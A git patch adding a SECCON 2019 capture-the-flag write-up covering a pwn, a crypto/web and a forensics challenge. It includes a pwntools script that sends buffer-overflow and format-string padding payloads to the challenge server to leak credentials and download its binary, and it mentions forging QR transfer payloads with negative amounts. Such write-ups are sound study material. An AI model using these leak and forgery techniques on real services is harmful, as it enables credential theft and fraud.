From 8fe39cc0351758ca15f7444f66ba627321747cc9 Mon Sep 17 00:00:00 2001 From: Hannes Hauer Date: Mon, 28 Oct 2019 09:19:34 +0100 Subject: [PATCH] Add SECCON 2019 writeup (hah) --- writeups/hah/seccon19.md | 177 +++++++++++++++++++++++++++ writeups/hah/seccond19/lazy_solve.py | 64 ++++++++++ 2 files changed, 241 insertions(+) create mode 100644 writeups/hah/seccon19.md create mode 100755 writeups/hah/seccond19/lazy_solve.py diff --git a/writeups/hah/seccon19.md b/writeups/hah/seccon19.md new file mode 100644 index 0000000..8cc407e --- /dev/null +++ b/writeups/hah/seccon19.md @@ -0,0 +1,177 @@ +# SECCON 2019 +## Retrospective + +## lazy + lazy.chal.seccon.jp 33333 + +lazy was a binary challenge whose description only contained a server address. After connecting a simple menu was presented that offered options to login, access Public contents or disconnect. The public area contained part of the challenge source code related to the login: + + #define BUFFER_LENGTH 32 + #define PASSWORD "XXXXXXXXXX" + #define USERNAME "XXXXXXXX" + + int login(void){ + char username[BUFFER_LENGTH]; + char password[BUFFER_LENGTH]; + char input_username[BUFFER_LENGTH]; + char input_password[BUFFER_LENGTH]; + + memset(username,0x0,BUFFER_LENGTH); + memset(password,0x0,BUFFER_LENGTH); + memset(input_username,0x0,BUFFER_LENGTH); + memset(input_password,0x0,BUFFER_LENGTH); + + strcpy(username,USERNAME); + strcpy(password,PASSWORD); + + printf("username : "); + input(input_username); + printf("Welcome, %s\n",input_username); + + printf("password : "); + input(input_password); + + + if(strncmp(username,input_username,strlen(USERNAME)) != 0){ + puts("Invalid username"); + return 0; + } + + if(strncmp(password,input_password,strlen(PASSWORD)) != 0){ + puts("Invalid password"); + return 0; + } + + return 1; + } + + + void input(char *buf){ + int recv; + int i = 0; + while(1){ + recv = (int)read(STDIN_FILENO,&buf[i],1); + if(recv == -1){ + puts("ERROR!"); + exit(-1); + } + if(buf[i] == '\n'){ + return; + } + i++; + } + } + +This code contained to problems: Input parsing was only terminated upon encountering a newline which allows for a buffer overflow and overwriting the login information stored on the stack, and the printf-statement after entering a username could be used to print data from the stack. After some experimentation I had found the necessary padding to print the username and password variables: + + leak_password_payload = "A" * 29 + "%s" + leak_username_payload = "A" * 29 + "B" * 32 + "%s" + +Using those the login menu option could be used to access a private content area in which the full binary and a libc file was stored; because files containing dots in their name could not be downloaded and code to prevent directory traversal was present as well. +The download prompt contained another printf-vulnerability, and exploring it further I found that some environment variables were stored on the stack, including pwd and the home-directory which was used to define which folder was presented for downloading. Thinking the flag might be stored in another folder I thought about overwriting those paths, but because "/q/private" was appended to it arbitrary path access would still not have been possible. I also considered overwriting the GOT-entry of a linked function to divert program flow and skip some checks in the code and download other files, but because the binary had RELRO enabled (which it took me way to long to remember to check after having worked on the challenge for a while already) this option was out as well. In the end I was unable to get the final step of downloading the flag in time. lazy_solve.py contains a solution up to the final part which automatically downloads the login source code, leaks the username and password and downloads the challenge binary. + +## ZKPay +ZPKay was a crypto challenge consisting of a website that offered registered users to send custom currency to other users by use of generated QR codes. After registration each user was given 500 units of the currency, and 1 million was required to reveal the flag. Registering multiple accounts and pooling the currency was possible but would have taken too long; the intended path seemed to be to fake a QR code that allowed for withdrawal of high enough amounts from the admin account that sent the initial batch to each new user. +Generating a couple of QR codes revealed that they encoded the username, the amount to be transferred, a proof and an hash: + + username=w0y&amount=2&proof=MP49LF+ZPCw7Erx0RtFvs9aGKy2eglOEsOmKykBf9acYMSAw2VAOJC++LtkU1VQJLjFgomQpjsTKOnFZEi7SbRSm9y4xCjABuFt915o/jZvc45hTajCjjNDHQZ6/v3vc6jQSEOUSJ3n1huxiOEuhNEYpE0OAsfatSu6ijNz8aidLUXjd6hkXMCAwR02qBLuxG/ZqqJ1YOpPdkclDPgOo7f69GgCN1JBuXBUwCjD99BQC0lBQkDDjsWNBW03uis8/40UkaVtorRTntM8OFDAgMDQMPxacCXL7q+9nxQmSKQBxiAaoa/QPEcLUKsei9KAkMAowEXGyGgNDmfmQi942WhTZkSonB0dK54yt5bQf78FUTyUxCjBxEwWHGKwCK/rGCMvjXGYD02hJewvHqZPG6bgUQGfWGjEK&hash=76bb1b5eb3cb773acdd2e1ce12b02d242ea280f211722e314b06530d55680e88 + +Interestingly neither the proof nor the hash seemed to depend on the amount as both stayed the same with every new QR code generated, and encoding payloads with different amounts without the use of the website yielded usable codes as well. Looking around the site the hash turned out to be a user identification, and because the transaction overview on the starting page showed the hashes of trading partners the correct one for the admin account was known. + + function formatTime(timestamp){ + let dt = new Date(timestamp * 1000); + let time = dt.getFullYear() + "/" + (dt.getMonth()+1) + "/" + dt.getDate() + " " + dt.getHours() + ":" + dt.getMinutes(); + return time; + } + + function getAccountData() + { + $.get( "/api/accountData", function( data ) { + $("#balance").text(data["balance"]); + $("#flag").text(data["flag"]); + let tBody = $("#trx").find('tbody'); + tBody.empty(); + for(i=0; i"); + let td = $(""); + td.text(formatTime(data["trxList"][i][1])); + tr.append(td); + td = $(""); + let a = $("") + .attr("href", "#") + .attr("data-toggle", "popover") + .attr("data-trigger", "hover") + .attr("data-content", "Address is " + data["trxList"][i][3]) + .attr("data-placement", "top") + .text(data["trxList"][i][2]); + td.append(a); + tr.append(td); + td = $(""); + td.text(data["trxList"][i][5]); + tr.append(td); + tBody.append(tr); + } + $('[data-toggle="popover"]').each(function(i, obj) { + var popover_target = $(this).data("popover-target"); + $(this).popover({ + html: false, + trigger: "click", + placement: "top", + container: "body", + content: function(obj) { + return $(popover_target).html(); + } + }); + }); + }); + } + + $(document).ready(function(){ + getAccountData(); + }); + + function createQR(){ + sendData = {}; + sendData["amount"] = $("#amount").val(); + sendData["password"] = $("#password").val(); + $.ajax({ + type:"POST", + url:"/api/createQR", + data:JSON.stringify(sendData), + contentType: "application/json; charset=utf-8", + dataType: "json", + success : function(data) { + if(data["status"] == "ok"){ + $("#qr").html( data["dom"] ); + }else{ + $("#qr").html( data["error"]); + } + } + }); + } + + function readQR(){ + fileData = {}; + fileData = $("#qrImg").prop("files")[0]; + formData = new FormData(); + formData.append('file', fileData); + $.ajax({ + type:"POST", + url:"/api/readQR", + data:formData, + contentType: false, + processData: false, + success : function(data) { + if(data["status"] == "ok"){ + Snackbar.show({text: data["dom"]}); + }else{ + Snackbar.show({text: data["error"]}); + } + } + }); + } + +The javascript of the page showed that other than the amount and the user password (as well as the session cookie) no information was sent to the server in order to generate the QR codes, which meant that the proof was generated once and stored serverside or was reconstructed with each request; however I did not find out how to get to the admin proof. Other teams seem to have solved it by simply generating QR codes with negative amounts encoded which would lead to the sending account getting credits added instead of subtracted, but I'm not sure whether that was the intended solution because the challenge name seemed to hint at some kind of zero knowledge-protocol being involved. + +## Sandstorm +Sandstorm was a forensics challenge consisting of a grainy black-and-white-picture that contained some short text. Thinking the monochromatic pixels might encode a binary message I tried finding some relevant data using [zsteg](https://github.com/zed-0xff/zsteg) and stegsolve, but nothing interesting turned up. As it [turns out](https://github.com/10secTW/ctf-writeup/tree/master/2019/SECCON%20CTF%20quals/Sandstorm) I was on the wrong track and the image hid a QR code of the flag. \ No newline at end of file diff --git a/writeups/hah/seccond19/lazy_solve.py b/writeups/hah/seccond19/lazy_solve.py new file mode 100755 index 0000000..ecff9f9 --- /dev/null +++ b/writeups/hah/seccond19/lazy_solve.py @@ -0,0 +1,64 @@ +#!/usr/bin/python + +from pwn import * + +username = "_H4CK3R_" +password = "3XPL01717" + +leak_password_payload = "A" * 29 + "%s" +leak_username_payload = "A" * 29 + "B" * 32 + "%s" + +def get_connection(): + r = remote("lazy.chal.seccon.jp", 33333) + #r = process("./source") + return r + +def leak_with_payload(payload): + r = get_connection() + r.recvline_startswith("3: Exit") + r.sendline("2") # Login + r.sendline(payload) + r.recvline_startswith("username :") + leak = r.recvline(False) + r.close() + return(leak) + +def get_loggedin_connection(username, password): + r = get_connection() + r.recvline_startswith("3: Exit") + r.sendline("2") # Login + r.sendline(username) + r.sendline(password) + return r + +def retrieve_login_source(): + r = get_connection() + file = open("login_source.c", "w") + r.sendline("1") # Public contents + r.sendline("login_source.c") + r.recvuntil("bytes") + file.write(r.recvn(1201)) + file.close() + r.close() + +def retrieve_binary(username, password): + r = get_loggedin_connection(username, password) + file = open("lazy", "wb") + r.sendline("4") # Manage + r.sendline("lazy") # Remote filename + r.recvuntil("bytes") + file.write(r.recvn(14216)) + file.close() + r.close() + +print("### Step 1: Retrieving provided partial source code") +retrieve_login_source() + +print("### Step 2: Leak username and password") +leaked_username = leak_with_payload(leak_username_payload) +leaked_password = leak_with_payload(leak_password_payload) +print("Leaked username: {}".format(leaked_username)) +print("Leaked password: {}".format(leaked_password)) + +print("### Step 3: Login and download binary") +retrieve_binary(leaked_username, leaked_password) \ No newline at end of file -- 2.43.0